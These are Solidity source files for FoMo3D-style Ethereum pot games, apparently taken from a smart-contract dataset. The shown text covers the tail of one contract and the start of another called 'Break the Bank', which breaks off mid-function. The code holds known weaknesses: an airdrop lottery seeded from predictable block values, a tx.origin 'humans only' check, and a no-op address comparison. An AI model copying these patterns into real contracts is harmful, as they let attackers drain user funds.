round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
coin_base.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(coin_base).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
coin_base.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
| 0 | 1,388 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract DiviesCTR {
function deposit() public payable;
}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
otherFoMo3D private otherF3D_;
DiviesCTR constant private Divies = DiviesCTR(0x88B30117e7EaFCDa49542D5530D383146ca9af70);
address constant private FeeAddr = 0x1C7584476a8d586c3dd8f83864D0d5cd214492E9;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x30aa3C69fE10022Bca0A158b42FFC739Aa10b1e5);
string constant public name = "Break the Bank";
string constant public symbol = "BTB";
uint256 private rndExtra_ = 45 seconds;
uint256 private rndGap_ = 10 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 30 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(56,10);
fees_[1] = F3Ddatasets.TeamFee(56,10);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(56,10);
potSplit_[0] = F3Ddatasets.PotSplit(20,20);
potSplit_[1] = F3Ddatasets.PotSplit(20,20);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(20,20);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
require(msg.sender == tx.origin, "sorry humans only - FOR REAL THIS TIME");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
